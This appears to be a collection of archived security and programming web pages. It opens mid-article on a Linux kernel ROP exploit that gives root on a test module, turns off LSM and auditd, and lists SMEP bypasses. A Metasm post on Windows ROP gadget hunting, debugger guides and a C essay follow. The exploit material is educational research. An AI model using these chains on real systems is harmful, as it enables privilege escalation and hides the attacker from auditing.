    ffffffff8108fc6e:       48 89 c7                mov    %rax,%rdi
    ffffffff8108fc71:       ff d2                   callq  *%rdx
    ...
    
[/code]

objdump best ROP tool ever \! <img src='img/Temp2_999.jpg' alt=':D' />

**Kernel ROP exploit**

Current exploits trigger a kernel bug and redirect the execution to a function
similar to kernelcode\(\) :

[code]

    void kernelcode()
    {
            commit_creds(prepare_kernel_creds(NULL));
            asm volatile(
              "swapgs\n"
              "movq %0, 0x20(%%rsp)\n"
              "movq %1, 0x18(%%rsp)\n"
              "movq %2, 0x10(%%rsp)\n"
              "movq %3, 0x8(%%rsp)\n"
              "movq %4, 0x0(%%rsp)\n"
              "iretq\n"
              : : "r" (user_ss), "r" (stack + sizeof(stack) / 2),
                  "r" (user_rflags), "r" (user_cs), "r" (userland_code));
    }
    
[/code]

This function set root credentials to our process and return to userland
\(CPL=3\).  
I decided to take the same approach for my ROP exploit.

**ROP : getting root privileges**

Calling prepare\_kernel\_creds with the first argument set to NULL is easy.
The following stack frame does this :

[code]

    [ ... ]
    [  POP_RDI_RET            ]
    [  0UL                    ]
    [  @prepare_kernel_creds  ]
    [ ... ]
    
[/code]

Remember that %rdi is defined as the first argument of a function by the
x86\_64 ABI.

But it’s tricky to get the return value of prepare\_kernel\_creds \(%rax\) and
use it as the commit\_creds argument \(%rdi\). With the help of objdump, we
find an interesting sequence :

[code]

    ffffffff8108fc6e:       48 89 c7                mov    %rax,%rdi
    ffffffff8108fc71:       ff d2                   callq  *%rdx
    
[/code]

We can’t directly set %rdx to commit\_creds because the call instruction push
the return address on the stack. To understand how it actually works, look at
the final ROP payload below.

**ROP : returning to userland**

Now that we have root credentials on the machine, we would like to return to
our userland process.  
paranoid\_swapgs is a good candidate :

[code]

    paranoid_swapgs:
    swapgs
    [ restore registers ]
    add    $0x30,%rsp
    [ restore registers ]
    add    $0x50,%rsp
    jmpq   irq_return # iretq
    
[/code]

**Final ROP payload**

And the final ROP payload is :

[code]

    [  POP_RDI_RET           ]
    [  0UL                   ]
    [  @prepare_kernel_cred  ]
    [  @POP_RDX_RCX_RET      ]
    [  @POP_RCX_RET          ]
    [  JUNK                  ]
    [  @MOV_RAX_RDI_CALL_RDX ]
    [  @commit_creds         ]
    [  @paranoid_swapgs      ]
    [  0x30 + 0x50 bytes junk]
    [  @exec_shell           ]
    [  user_cs               ]
    [  user_rflags           ]
    [  @stack                ]
    [  user_ss               ]
    
[/code]

Time to test our exploit :

[code]

    [falken@vm-F15 kernel_overflow]$ ./exploit_rop
    [+] call_rwsem_downgrade_wake is at 0xffffffff81232500
    [+] prepare_kernel_cred is at 0xffffffff81074718
    [+] commit_creds is at 0xffffffff81074403
    [+] paranoid_swapgs is at 0xffffffff8147611d
    sh-4.2# id
    uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
    
[/code]

W00t \!

**Bonus : disable security modules & auditd**

Disabling security modules can be done by calling reset\_security\_ops :

[code]

    static struct security_operations default_security_ops = {
            .name   = "default",
    };
    ...
    void reset_security_ops(void)
    {
            security_ops = &default_security_ops;
    }
    
[/code]

In order to disable auditd we have to set the variable audit\_enabled to 0.
This variable is set to 1 when auditing is enabled.

In rwsem\_64.S, we find the perfect gadget :

[code]

    decl (%rdi)
    js __read_lock_failed	# not taken since (%rdi) == 0
    ret
    
[/code]

And the corresponding stack frame will be :

[code]

    [   @POP_RDI_RET          ]
    [   @audit_enabled        ]
    [   @DEC_RDI_ADDR_RET     ]
    [   @reset_security_ops   ]
    
[/code]

**Other ideas to bypass SMEP**

  * Disable SMEP by flipping the proper bit in CR4.
  * Allocate a RWX page, copy our shellcode and jump to it.
  * Store the ROP payload in userspace as SMEP does not prevent kernel code from accessing userland data.

**Conclusion**

For sure SMEP will make kernel exploitation harder. Used with a relocatable
kernel and kernel symbols hiding, the ROP technique presented here starts to
be very difficult to realize… If there are no information leakage.

Links & code :

SMEP: What is It, and How to Beat It on Linux  
SMEP: What is it, and how to beat it on Windows

Buggy module + classic exploit + ROP exploit for
kernel-2.6.38.6-26.rc1.fc15.x86\_64 \(default Fedora 15 kernel\)

# Visual Leak Detector for Visual C++ 2008/2010

**Created:**| _1/15/2012 10:41:03 PM_  
---|---  
**Updated:**| _1/15/2012 10:41:03 PM_  
**Author:**| __  
**Tags:**| _C++ Memory corruptions_  
  

**Project Description**  
  
Visual Leak Detector is a free, robust, open-source memory leak detection
system for Visual C++.  
  
It's pretty easy to use. After installing it, you just need to tell Visual C++
where to find the included header and library file.  
  
Then it can be used with any C/C++ project simply by adding the following line
to your code:  
\#include <vld.h>  
  
When you run your program under the Visual Studio debugger, Visual Leak
Detector will output a memory leak report at the end of your debugging
session. The leak report includes the full call stack showing how any leaked
memory blocks were allocated. Double-click on a line in the call stack to jump
to that file and line in the editor window.  
  
It's a very effective way to quickly diagnose, and fix, memory leaks in C/C++
applications.

The main difference between the CRT Debug Library and VLD, is that Visual Leak
Detector shows you the complete callstack used for memory allocation has led
to the leak.

For example:

[code]

    ---------- Block 1199 at 0x04BE1058: 136 bytes ----------
    Call Stack:
    d:\Foobar\FooLog.cpp (26): FooLog::getInstance
    d:\Foobar\FooMain.cpp (75): FooMain::init
    f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c (578): __tmainCRTStartup
    f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c (403): WinMainCRTStartup
    0x759A3677 (File and line number not available): BaseThreadInitThunk
    0x770C9D42 (File and line number not available): RtlInitializeExceptionChain
    0x770C9D15 (File and line number not available): RtlInitializeExceptionChain
    Data:
    9C 33 2D 6B    74 2A 2D 6B    C8 11 BE 04    00 00 00 00     .3-kt*-k ........
    00 00 00 00    70 14 BB 6C    70 14 BB 6C    00 00 00 00     ....p..l p..l....
    00 00 00 00    68 14 BB 6C    68 14 BB 6C    00 00 00 00     ....h..l h..l....
    00 00 00 00    6C 14 BB 6C    6C 14 BB 6C    20 12 BE 04     ....l..l l..l....
    00 00 00 00    CD 00 CD CD    00 00 00 00    01 CD CD CD     ........ ........
    68 14 BB 6C    78 33 2D 6B    00 00 00 00    00 00 00 00     h..lx3-k ........
    00 00 00 00    01 02 00 00    06 00 00 00    00 00 00 00     ........ ........
    00 00 00 00    00 00 00 00    88 11 BE 04    5C 10 BE 04     ........ ....\...
    00 00 00 00    20 CD CD CD                                   ........ ........
[/code]

This software is provided "AS IS" without warranty of any kind.  
  
The project was originally developed by Dan Moulding, but they are no longer
supported. Features of version 2.0 are implemented by Arkadiy Shapkin \(me\).  
  
**Links**

  * Visual Leak Detector Previous Official Homepage  http://sites.google.com/site/dmoulding/vld
  * CodeProject article:  Visual Leak Detector - Enhanced Memory Leak Detection for Visual C++
  * Finding Memory Leaks Using the CRT Library
  * Visual Leak Detector: Investigate Memory Leaks in Visual C++

# LLDB Goals

**Created:**| _5/29/2011 9:26:14 PM_  
---|---  
**Updated:**| _5/29/2011 9:26:22 PM_  
**Author:**| __  
**Tags:**| _cheat sheets Debugging_  
  

The **LLDB** Debugger

# Goals and Status

  * About
  * Blog
  * Goals
  * Features
  * Status
  * Tutorial
  * LLDB and GDB

# Use and Extension

  * Architecture
  * Documentation
  * FAQ
  * Frame and Thread Formatting

# Mailing Lists

  * lldb-dev
  * lldb-commits

# Source

  * Download
  * Build
  * Bug Reports
  * Browse SVN
  * Browse ViewVC

# LLDB to GDB Command Map

Below is a table of LLDB commands with the GDB counterparts. The built in GDB
compatability aliases in GDB are also listed.

# Execution Commands

LLDB | GDB  
---|---  
Launch a process no arguments.  
**\(lldb\)** process launch  
**\(lldb\)** run  
**\(lldb\)** r | **\(gdb\)** run  
**\(gdb\)** r  
Launch a process with arguments `<args>`.  
**\(lldb\)** process launch -- <args>  
**\(lldb\)** run -- <args>  
**\(lldb\)** r <args> | **\(gdb\)** run <args>  
**\(gdb\)** r <args>  
Launch a process for with arguments **`a.out 1 2 3`** without having to supply
the args every time.  
**%** lldb a.out 1 2 3  
**\(lldb\)** run  
...  
**\(lldb\)** run  
...  
| **%** gdb --args a.out 1 2 3  
**\(gdb\)** run  
...  
**\(gdb\)** run  
...  
  
Launch a process with arguments in new terminal window \(Mac OS X only\).  
**\(lldb\)** process launch --tty -- <args>  
**\(lldb\)** process launch -t -- <args>  
|  
Launch a process with arguments in existing terminal /dev/ttys006 \(Mac OS X
only\).  
**\(lldb\)** process launch --tty=/dev/ttys006 -- <args>  
**\(lldb\)** process launch -t/dev/ttys006 -- <args>  
|  
Attach to a process with process ID 123.  
**\(lldb\)** process attach --pid 123  
**\(lldb\)** attach -p 123 | **\(gdb\)** attach 123  
Attach to a process named "a.out".  
**\(lldb\)** process attach --name a.out  
**\(lldb\)** process attach -n a.out | **\(gdb\)** attach a.out  
Wait for a process named "a.out" to launch and attach.  
**\(lldb\)** process attach --name a.out --waitfor  
**\(lldb\)** process attach -n a.out -w | **\(gdb\)** attach -waitfor a.out  
Do a source level single step in the currently selected thread.  
**\(lldb\)** thread step-in  
**\(lldb\)** step  
**\(lldb\)** s | **\(gdb\)** step  
**\(gdb\)** s  
Do a source level single step over in the currently selected thread.  
**\(lldb\)** thread step-over  
**\(lldb\)** next  
**\(lldb\)** n  
| **\(gdb\)** next  
**\(gdb\)** n  
Do an instruction level single step in the currently selected thread.  
**\(lldb\)** thread step-inst  
**\(lldb\)** si  
| **\(gdb\)** stepi  
**\(gdb\)** si  
Do an instruction level single step over in the currently selected thread.  
**\(lldb\)** thread step-inst-over  
| **\(gdb\)** nexti  
**\(gdb\)** ni  
Step out of the currently selected frame.  
**\(lldb\)** thread step-out  
**\(lldb\)** finish  
| **\(gdb\)** finish  
  
# Breakpoint Commands

LLDB | GDB  
---|---  
Set a breakpoint at all functions named **main**.  
**\(lldb\)** breakpoint set --name main  
**\(lldb\)** breakpoint set -n main  
**\(lldb\)** b main | **\(lldb\)** break main  
Set a breakpoint in file **test.c** at line **12**.  
**\(lldb\)** breakpoint set --file test.c --line 12  
**\(lldb\)** breakpoint set -f test.c -l 12  
**\(lldb\)** b test.c:12 | **\(lldb\)** break test.c:12  
Set a breakpoint at all C++ methods whose basename is **main**.  
**\(lldb\)** breakpoint set --method main  
**\(lldb\)** breakpoint set -M main  
| **\(lldb\)** break main  
_\(Hope that there are no C funtions named**main**\)_.  
Set a breakpoint at all Objective C methods whose selector is **count**.  
**\(lldb\)** breakpoint set --selector count  
**\(lldb\)** breakpoint set -S count  
| **\(lldb\)** break count  
_\(Hope that there are no C or C++ funtions named**count**\)_.  
# Examining Thread State

LLDB | GDB  
---|---  
Show the arguments and local variables for the current frame.  
**\(lldb\)** frame variable  
| **\(gdb\)** info args  
and  
**\(gdb\)** info locals  
  
Show the stack backtrace for the current thread.  
**\(lldb\)** thread backtrace  
**\(lldb\)** bt  
| **\(gdb\)** bt  
  
Show the stack backtraces for all threads.  
**\(lldb\)** thread backtrace all  
**\(lldb\)** bt all | **\(gdb\)** thread apply all bt  
Show all thread registers.  
**\(lldb\)** register read | **\(gdb\)** info all-registers  
Show the values for the thread registers name "rax", "rsp" and "rbp".  
**\(lldb\)** register read rax rsp rbp | **\(gdb\)** info all-registers rax rsp rbp  
Read memory from address 0xbffff3c0 and show 4 hex uint32\_t values.  
**\(lldb\)** memory read --size 4 --format x --count 4 0xbffff3c0  
**\(lldb\)** memory read -s4 -fx -c4 0xbffff3c0  
**\(lldb\)** x -s4 -fx -c4 0xbffff3c0 | **\(gdb\)** x/4xw 0xbffff3c0  
Read 512 bytes of memory from address 0xbffff3c0 and save results to a local
file as **text**.  
**\(lldb\)** memory read --outfile /tmp/mem.txt --count 512 0xbffff3c0  
**\(lldb\)** memory read -o/tmp/mem.txt -c512 0xbffff3c0  
  
Save binary memory data starting at 0x1000 and ending at 0x2000 to a file.  
**\(lldb\)** memory read --outfile /tmp/mem.bin --binary 0x1000 0x1200  
**\(lldb\)** memory read -o /tmp/mem.bin -b 0x1000 0x1200  
  
Disassemble the current function for the current frame.  
**\(lldb\)** disassemble --frame  
**\(lldb\)** disassemble -f | **\(gdb\)** disassemble  
Disassemble any functions named **main**.  
**\(lldb\)** disassemble --name main  
**\(lldb\)** disassemble -n main | **\(gdb\)** disassemble main  
Disassemble an address range.  
**\(lldb\)** disassemble --start-address 0x1eb8 --end-address 0x1ec3  
**\(lldb\)** disassemble -s 0x1eb8 -e 0x1ec3  
| **\(gdb\)** disassemble 0x1eb8 0x1ec3  
Show mixed source and disassembly for the current function for the current
frame.  
**\(lldb\)** disassemble --frame --mixed  
**\(lldb\)** disassemble -f -m | n/a  
Disassemble the current function for the current frame and show the opcode
bytes.  
**\(lldb\)** disassemble --frame --bytes  
**\(lldb\)** disassemble -f -b | n/a  
Disassemble the current source line for the current frame.  
**\(lldb\)** disassemble --line  
**\(lldb\)** disassemble -l | n/a  
# Executable and Shared Library Query Commands

LLDB | GDB  
---|---  
List the main executable and all dependent shared libraries.  
**\(lldb\)** image list  
| **\(gdb\)** info shared  
  
Lookup information for a raw address in the executable or any shared
libraries.  
**\(lldb\)** image lookup --address 0x1ec4  
**\(lldb\)** image lookup -a 0x1ec4  
| **\(gdb\)** info symbol 0x1ec4  
  
Lookup information for an address in **a.out only.**  
**\(lldb\)** image lookup --address 0x1ec4 a.out  
**\(lldb\)** image lookup -a 0x1ec4 a.out  
|  
Lookup information for for a type `Point` by name.  
**\(lldb\)** image lookup --type Point  
**\(lldb\)** image lookup -t Point  
| **\(lldb\)** ptype Point  
  
Dump all sections from the main executable and any shared libraries.  
**\(lldb\)** image dump sections  
| **\(gdb\)** maintenance info sections  
  
Dump all sections in the **a.out** module.  
**\(lldb\)** image dump sections a.out  
|  
Dump all symbols from the main executable and any shared libraries.  
**\(lldb\)** image dump symtab  
|  
Dump all symbols in **a.out** and **liba.so**.  
**\(lldb\)** image dump symtab a.out liba.so  
|

# Metasm recipes: working with a process image - Sogeti ESEC Lab

**Created:**| _1/19/2011 1:17:48 PM_  
---|---  
**Updated:**| _1/19/2011 1:18:02 PM_  
**Author:**| __  
**Tags:**| _asm reversing_  
  

## Metasm recipes: working with a process image

By jj » Tuesday 18 January 2011, 22:51 - Tools

Today we'll discuss how metasm can be used to work with a process memory dump,
and also how to search for gadgets suitable for a short ROP sequence.

While working on a vulnerability on a windows server, we had the following
premises:

  * Non-executable heap
  * Randomised address space \(except for the main binary\)
  * We had the address of a buffer we control
  * Small stack overflow
  * Additional flaw allowing to read arbitrary 4bytes anywhere

From there, the tactic was simple:

  * Inject our shellcode in the buffer
  * Find the address of `VirtualProtect`
  * Jump on it to make the buffer executable
  * Return to the shellcode

We chose the easy path: determine the base address of `kernel32`. This is done
by finding a pointer to k32 somewhere, the main binary IAT sounded like a good
candidate. You just have to be careful to not use the address of some kernel32
import that is actually forwarded to some other library, like `ntdll`.

Once you have a pointer to some part of the library, you then scan backward,
0x10000 bytes at a time, until you find the MZ header. We were unsure of the
version of the dll that was present on the server, so we used the read4
repeatedly to dump the whole library image from the process memory. On recent
windows versions, you have to be careful, as some libraries include a virtual
address gap, usually right after the PE header ; you need to jump over it, if
you try to read this area the target will crash and you need to start all over
again.

So this gave us the raw memory dump of the kernel32 module \(fill the memory
gap with zeroes\). Now how can we work with it ? The usual tools are pretty
useless there, they only handle disk images, and the memory image has not the
exact same layout: PE sections are loaded at their memory offset, which is
\(usually\) different from the disk file offset.

This was the time to unsheath Metasm. The standard disassembler GUI has the
handy option `--exe` to change the default auto-determined file type. This
way, we can tell that the PE file is a memory image, by using the `LoadedPE`
class, generally used by the debugger, instead of the standard `PE` class.

Once in the GUI, type `gvirtualp` to find the address of the function we need
\(`g` opens the `goto` dialog, where we can put a fragment of a label name. If
the fragment is ambiguous, this will pop a list of all the possible
completions\).

Additionally, we need to execute our shellcode. Now that we have given it RWX
memory permissions, we still need to divert EIP to it; for that we will use a
simple Return Oriented Programming sequence:

  * `pop eax; ret`  _put the address of our buffer in eax_
  * `mov esp, eax; ret`  _stack points to our buffer_
  * `jmp esp`  _execute the shellcode in the buffer_

To find those in the library, we can use the brand new findgadget.rb
disassembler plugin.

You can load it using `ctrl+r`, then type `dasm.load_plugin "findgadget"`, or
click the `menu/action/run ruby plugin`.

Once loaded, type the G key \(or menu/action/scan for gadget\), and type your
asm in the box. You can separate instructions with ';' or spaces.

So, the magic commandline:

`ruby samples/disassemble-gui.rb --exe LoadedPE -P findgadget k32_dump.bin`

Job done.

Also, hacky new year \!

# How to config the Win32 Kernel Debugger « blog.zynamics.com

**Created:**| _2/25/2011 9:47:11 AM_  
---|---  
**Updated:**| _2/25/2011 9:47:44 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing virtusalisation Tutorials kernel binnavi_  
  

## How to config the Win32 Kernel Debugger

By Andreas Fobian

As mentioned here, one of the new features of the upcoming BinNavi 3.1
release, is the Win32 kernel debugger. This debugger enables you to perform
dynamic analysis of Win32 kernel components. In this blog post I will describe
how to configure your work environment to use the new debugger for BinNavi.  
To debug kernel components with BinNavi, it is necessary to have a host system
which runs BinNavi with the kernel debugger and a virtual machine which runs
the code you want to analyse.  
There are two ways for connecting your debugging system with the debugger. The
first one is to use Virtual KD, which is the fastest solution, and the second
one is to use the more generic, but slower WinDBG named pipe method.  
It is recommended to use a virtual machine in combination with Virtual KD.
Although other configurations are possible, they should only be chosen if
Virtual KD can’t be used.

### Configuration with Virtual KD

For this you need to install Virtual KD on the host system and on the guest
vm, which will be used for debugging. After you downloaded the package and
copied the target/vminstall.exe to your vm, you install Virtual KD by running
the executable. Press the install button after checking if the parameters
match the ones in the screenshot.

<img src='img/Temp2_4092.jpg' width='300' height='119' />

Now you can start the virtual machine monitor vmmon.exe \(included in Virtual
KD\) on the host system and restart the debug virtual machine. The virtual
machine monitor shows the pipename which is automatically created by the
virtual monitor and is later used by the kernel debugger.

<img src='img/Temp2_4095.jpg' width='300' height='212' />

### Configuration without Virtual KD

An alternative method is to use the standard com port via named pipes method
in combination with vmware or a physical machine.

In case of using vmware, you need to go the settings of your virtual machine
and add a new hardware. Choose as hardware ‘serial port’ with the name as
‘\\\\.\pipe\com\_1′ and as additional options ‘This end is the server’ and
‘The other end is an application’.

<img src='img/Temp2_4093.jpg' width='300' height='199' />

Now you can start the virtual machine and edit the boot option to run the
virtual machine with the debug option. These settings depend on your operating
system:

#### For Windows XP:

You have to edit the boot.ini file of your virtual machine. For this you have
to append the following line to your configuration file: ‘/debug
/debugport=com1/baudrate=115200′.

If you want to do debug a physical machine you may want to change this
parameter to suit your needs.

`multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="normal boot" /noexecute=optin
/fastdetect  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="debug boot" /noexecute=optin
/fastdetect /debug /debugport=com1 /baudrate=115200  
`

You must reboot your vm for the changes to take effect.

#### For Windows Vista and Windows 7:

You have to use the bcedit command to change the boot option:

At first start a cmd shell with admin privileges, then use the following
command to get the ID  
`  
bcdedit /v  
`  
then make a copy of the normal entry:  
`  
bcdedit /copy {ID} /d "kernel debug"  
`  
and enable kernel debug on it with the following command:  
`  
bcdedit /debug {ID} on  
`  
You must reboot your vm for the changes to take effect. For more information
please have a look at  
http://www.microsoft.com/whdc/driver/tips/Debug\_Vista.mspx

### Configuration in BinNavi

The next step is to load your device driver using the usual step into the
BinNavi database. This procedure is explained in more detail here. After the
module is successfully loaded, you have to create a new debugger and assign it
to the module. The default port is 2222 which can be changed. After this is
done you can run the windbg debug client using the command line:  
`  
windbgclient32.exe -p 2222 com:port=\\.\pipe\kd_WindowsXPSP2,baud=115200,pipe  
`  
This results in listening on the default debug port and connecting to the name
pipe ‘kd\_WindowsXPSP2′. Now you can open the module in BinNavi by selecting a
call graph or flow graph and switch to the debug view \(crtl+d\). To connect
to the selected debugger just press the start debugger button and wait until
the debugger is loaded. In the last step you have to choose the right device
driver you want to debug in the dialog.

<img src='img/Temp2_4094.jpg' width='300' height='248' />

After all steps are done you can start with your normal work flow to analyse
the module. This includes using the trace mode for differential debugging and
setting breakpoints on interesting functions.  
Happy debugging\!

# The ugliest C feature: <tgmath.h> | Miloslav Trmač
**Created:**| _9/13/2013 9:24:23 AM_  
---|---  
**Updated:**| _9/13/2013 9:24:23 AM_  
**Author:**| __  
**Tags:**| _C programming_  
  

# **T** he ugliest C feature: <tgmath.h>**** ;

`<tgmath**.** h>` is a header provided by the standard C library, introduced
in C99 to allow easier porting of Fortran numerical software to C.

Fortran, unlike C, provides “intrinsic functions”, which are a part of the
language and behave more like operators**.** While ordinary \(“external”\)
functions behave similarly to C functions with respect to types \(the types of
arguments and parameters must match and the restult type is fixed\), intrinsic
functions accept arguments of several types and their return type may depend
on the type of their arguments**.** For example Fortran 77 provides, among
others, an `INT` function which accepts `Integer`, `Real`, `Double` or
`Complex` arguments and always returns an `Integer`, and a `SIN` function
which accepts `Real`, `Double` or `Complex` arguments and returns a value of
the same type**.**

This helps the programmer somewhat because the function calls don’t have to be
changed if variable types change**.** On the other hand user-defined functions
can’t behave this way, so the additional flexibility is really limited to
single subroutines that don’t need to call user-defined functions**.**

Some C programmers would call the feature ugly from the above description
already, for the same reason integrating `printf` into the language would be
ugly**.**

This functionality was incorporated in C99 together with other features for
better support of numerical computation and it is provided in the
abovementioned `<tgmath**.** h>` header. Provided are goniometric and
logarithmic functions, functions for rounding and a few others**.** The header
defines macros that _shadow_ the existing functions from `<math**.** h>`; e.g.
the `cos` macro behaves like the `cos` function when its parameter has type
`double`, like `cosf` for `float`, `cosl` for `long double`, `ccos` for
`double _Complex`, `ccosf` for `float _Complex`, `ccosl` for `long double
_Complex`**.** Finally, when the parameter has any integer type, the `cos`
function is called, as if the parameter were implicitly converted to
`double`**.**

The second reason why this feature is ugly is that it attempts to imitate
functions, but the imitation is imperfect and even dangerous: If you try to
pass the generic macro `cos` as a function parameter, you actually always
supply the `cos` function operating on `double`s because the macro expansion
doesn’t happen when `cos` is not followed by a left parenthesis**.**

The final reason why this feature is ugly is that such macros can’t be
implemented in strictly conforming C, they have to rely on some kind of
compiler support – and experience \(e**.** g. the speed with which bugs in the
`glibc` implementation are discovered\) seems to suggest this features is used
very rarely and doesn’t deserve to be a part of the “core language”,
especially because the underlying feature is not available**.** \(Contrast
this to `<stdarg.h>`, which is available for portable use**.**\)

Now, if the feature is both ugly and not used in practice, why mention it at
all**?** I’m writing this article because I have examined the `glibc`
implementation and it is such an ingenious hack that I feel it should be
recorded for posterity, in some better way than this commit message:

>
[code]

>     2000-08-01  Ulrich Drepper  <drepper@redhat.com>
>                 Joseph S. Myers  <jsm28@cam**.** ac.uk>
>  
>     * math/tgmath**.** h: Make standard compliant. Don't ask how.
[/code]

The most straightforward way to mimic the Fortran compilers is to use a very
simple macro: \(I’ll be using `cos` for most examples; the semantics of other
macros is similar**.**\)

>
[code]

>     #define cos(X) __tgmath_cos(X)
>  
[/code]

The compiler would then treat `__tgmath_cos` as a built-in operator and
transform it to one of the function calls in the frontend**.**

The cleanest solution I have seen proposed is to add basic function
overloading support to the compiler frontend which can be activated using a
vendor extension \(the compiler would otherwise be required by the C standard
to diagnose incompatible declarations of a single identifier\):

>
[code]

>     #define cos(X) __tgmath_cos(X)
>     #pragma compiler_vendor overload __tgmath_cos
>     double __tgmath_cos (double x)
>     {return (cos) (x); }
>     float __tgmath_cos (float x)
>     {return cosf (x); }
>     long double __tgmath_cos (long double x)
>     {return cosl (x); }
>  
[/code]

\(_Warm-up excercise_ : Why are the parentheses around `cos` in the definition
of `__tgmath_cos (double)` necessary**?**\)

Of course implementing this for the sole purpose of `<tgmath**.** h>` is a lot
of work \(although it can perhaps share code with the C++ frontend, if
any\)**.** Nobody should want to use such an unportable extension in their C
programs, and there are probably very few programs using `<tgmath**.** h>`, so
it is probably not worth the effort to extend the compiler this way**.**

The `glibc` implementation has had to rely to extensions present in already
used `gcc` versions, so the implementation is rather complex**.**

First, let’s implement a macro that can choose the right function type**.**
Because C doesn’t support conditional macro expansion, the conditions will
have to be in the expanded code**.** We want something like

>
[code]

>     #define cos(X) \
>       (X is real) **?** ( \
>         (X has type double \
>          || X has an integer type) \
>         **?** (cos) (X) \
>         : (X has type long double) \
>         ? cosl (X) \
>         : cosf (X) \
>       ) : (
>         (X has type double _Complex) \
>         **?**  ccos (X)
>  
[/code]

and it turns out writing the conditions above is quite easy:

  * “`X` is real” is `sizeof (X) == sizeof (__real__ (X))`
  * “`X` has an integer type” is `(__typeof__ (X))1**.** 1 == 1`**.**
\(_Medium-difficulty excercise_ : `(__typeof__ (X))0**.** 1 == 0` is
incorrect**.** Why?\)

\(`glibc` actually uses `__builtin_classify_type`, an internal `gcc` built-in,
in some cases, and something similar to the above tests in other cases**.**\)

  * “`X` has type `double`/`long double`/`float`” can be determined using `sizeof`**.** This won’t work precisely on architectures where some C types are mapped to the same hardware type, but on those architectures there is no difference between operations on those types, and the outside C program can’t recognize the difference**.** By the C “as-if” rule, this is good enough.

Good, so our `cos` macro now can select the correct function and call it**.**
Unfortunately it always returns a result of type `long double _Complex`
because the `**?** :` operators above return a value with the type of the
“usual arithmetic conversions” between the second and third operands of the
operator**.**

We can avoid these type conversions in favor of a type we choose by using
another `gcc` extension, statement expressions:

>
[code]

>     #define cos(X) ({ result_type __var; \
>       if (X is real) { \
>         if ((X has type double) \
>             || (X has an integer type)) { \
>           __var = (cos) (X); \
>         else if (X has type long double) \
>           __var = cosl (X); \
>  
[/code]

[code]

>       __var; })
>  
[/code]

Now the result of the macro will always have the type `result_type`, and the
problem is solved**.**

Is it**?**

It’s not, actually. How do we define `result_type`**?** For floating-point
types we can just use `__typeof__ (X)`, but we want `double` for integer
arguments, and C doesn’t have a `**?** :` operator for types, does it?

The two excercises above are not there because I’m a teacher and I’d like to
check your progress or something, they are there to prepare you for the final,
difficult excercise – or to scare you off before you get to this part \(well,
I’m sure I have bored everyone to death and nobody is reading this anyway <img
src='img/Temp2_8358.gif' alt=':)' /> \)**.** Although the context of the
excercise is a big hint already, it is probably not enough, so here goes:

_Difficult excercise_ : What is the difference between results of

>
[code]

>     1 **?** (int *)0 : (void *)0
>  
[/code]

>
[code]

>     1 **?** (int *)0 : (void *)1
>  
[/code]

and why does the difference exist**?**

Unlike the first two excercises, which can be solved with a bit of research
and experimentation, this one \(especially the “why” part\) probably requires
reading of the C standard, so I’ll explain it here**.**

First, it is necessary to explain the following concepts:

  * An _integer constant expression_ is simply an integer expression with a constant value, from the point of view of the compiler: the compiler is able to compute the constant value without any optimization except for constant folding**.** In particular the expression doesn’t use values of any variables**.**
  * A _null pointer_ is a pointer _value_ equal to the integer 0**.** A null pointer can have any pointer type.
  * A _null pointer constant_ is a _syntactic_ construct**.** The value of a null pointer constant, when converted to a pointer type, is a null pointer \(“null pointer, the value”, described above\)**.** The `NULL` macro expands to a null pointer**.**
Because a null pointer constant is a syntactic construct, it has a syntactic
definition: it is either an integer constant expression with value 0, or such
an expression cast to `void *` **.** For example `0`, `0L`, `1 - 1`, `(((1 -
1)))`, `(void *)0` and `(void *)(1 - 1)` are null pointer constants, `1`,
`(int *)0` and `(void *)1` are not null pointer constants**.**

\(OK, so it is not really a syntactic construct when it’s definition refers to
a value of an expression, but it’s best to think of it as if it were a
syntactic construct**.** In most cases the “integer constant expression with
value 0″ is a literal 0 anyway**.**\)

Now we can look at the standard’s section 6**.** 5**.** 15, paragraph 6, which
refers to the conditional operator `**?** :` and says, among other things:

> If both the second and third operands are pointers …, the result type is a
> pointer … **.** Furthermore, if both operands are pointers to compatible
> types …, the result type is a pointer to … the composite type; if one
> operand is a null pointer constant, the result has the type of the other
> operand; otherwise, … the result type is a pointer to … `void`**.**
Thus, in

>
[code]

>     1 **?** (int *)0 : (void *)0
>  
[/code]

the third operand is a null pointer constant, so the result is `(int *)0`**.**
In

>
[code]

>     1 **?** (int *)0 : (void *)1
>  
[/code]

the third operand is not a null pointer constant, so the result is `(void
*)0`**.** This is our conditinal operator for types, now we just need to
polish it a bit**.**

Note that \(X has an integer type\) is an integer constant expression**.**
Therefore the result of

>
[code]

>     1 **?** (__typeof__ (X) *)0 : (void *)(X has an integer type)
>  
[/code]

is `(void *)0` if `X` has an integer type and `(__typeof__ (X) *)0` otherwise,
and the result of

>
[code]

>     1 **?** (int *)0 : (void *)(**!**(X has an integer type))
>  
[/code]

is `(int *)0` if `X` has an integer type and `(void *)0` otherwise**.** Note
that in each case the result of one of the expressions is `(void *)0`**.**

Let’s call the above expressions `E1` and `E2`**.** Then the result of

>
[code]

>     1 **?** (__typeof__ (E1))0 : (__typeof__ (E2))0
>  
[/code]

is `(int *)0` if `X` has an integer type and `(__typeof__ (X) *)0` otherwise;
again, note that one of the second and third expressions is a null pointer
constant**.**

Finally, we can define `result_type` as

>
[code]

>     __typeof__ (*(1 **?** (__typeof__ (E1))0 : (__typeof__ (E2))0))
>  
[/code]

That’s it**.** The rules for macros with more than one argument are a bit more
complicated, but all the building blocks are described above**.**

****

# tree-cbass - Taint-enabled Reverse Engineering Environment on top of a
Cross-platform Binary Symbolic execution System - Google Project Hosting

**Created:**| _7/28/2013 8:02:27 AM_  
---|---  
**Updated:**| _7/28/2013 8:03:26 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification iDA plugin Tainting symbolic exec_  
  

# **T** aint-enabled Reverse Engineering Environment \(TREE****\)

TREE is an IDA Pro plugin that combines both dynamic taint analysis and
symbolic execution to support interactive security analysis on binaries from
multiple instruction sets and operating systems.

## Getting Started****

### Download Dependencies****

> Requirements Page
### Download Installer****

> Windows Installer
### Read Installation Manual****

> Installation Page
**2013-Jul-25** : Version 0**.** 02

[code]

      * First release
[/code]

# Documentation****

# Getting Involved****

****

# How to write a rootkit without really trying

**Created:**| _3/2/2019 6:40:22 PM_  
---|---  
**Updated:**| _3/2/2019 6:40:22 PM_  
**Author:**| _wishi_  
